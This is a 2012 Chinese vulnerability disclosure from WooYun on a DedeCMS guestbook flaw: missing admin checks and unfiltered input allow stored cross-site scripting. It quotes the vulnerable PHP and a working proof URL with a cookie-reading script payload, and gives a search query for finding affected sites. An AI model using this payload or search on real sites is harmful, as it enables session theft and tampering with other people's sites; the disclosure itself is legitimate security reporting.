当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014501

漏洞标题:dedeCMS权限绕过导致跨站攻击

相关厂商:DEDECMS

漏洞作者: 路过的菜鸟A

提交时间:2012-11-08 12:28

修复时间:2012-11-08 12:28

公开时间:2012-11-08 12:28

漏洞类型:非授权访问/权限绕过

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-11-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

dedeCMS某处由于权限绕过可导致跨站脚本攻击

详细说明:

首先是/plus/guestbook.php

1.jpg


action=admin然后来到/guestbook/edit.inc.php

2.jpg


else if($job=='editok')//这里没有判断$g_isadmin
{
$remsg = trim($remsg);

$dsql->ExecuteNoneQuery("update `#@__guestbook` set `msg`='$msg', `posttime`='".time()."' where id='$id' ");//而这里没有过滤,可以写代码了……
ShowMsg("成功更改或回复一条留言!",$GUEST_BOOK_POS);
exit();
}

漏洞证明:

http://www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=100&msg=<body onload=alert(document.cookie)>
这个id,可以在[回复/编辑]这个按钮处看到
仔细试试没准还能试出注入呢。。。。
google直接:inurl:/plus/guestbook.php,还是有不少的

3.jpg


4.jpg


5.jpg

修复方案:

权限啊,过滤啊,自己看着办吧

版权声明:转载请注明来源 路过的菜鸟A@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝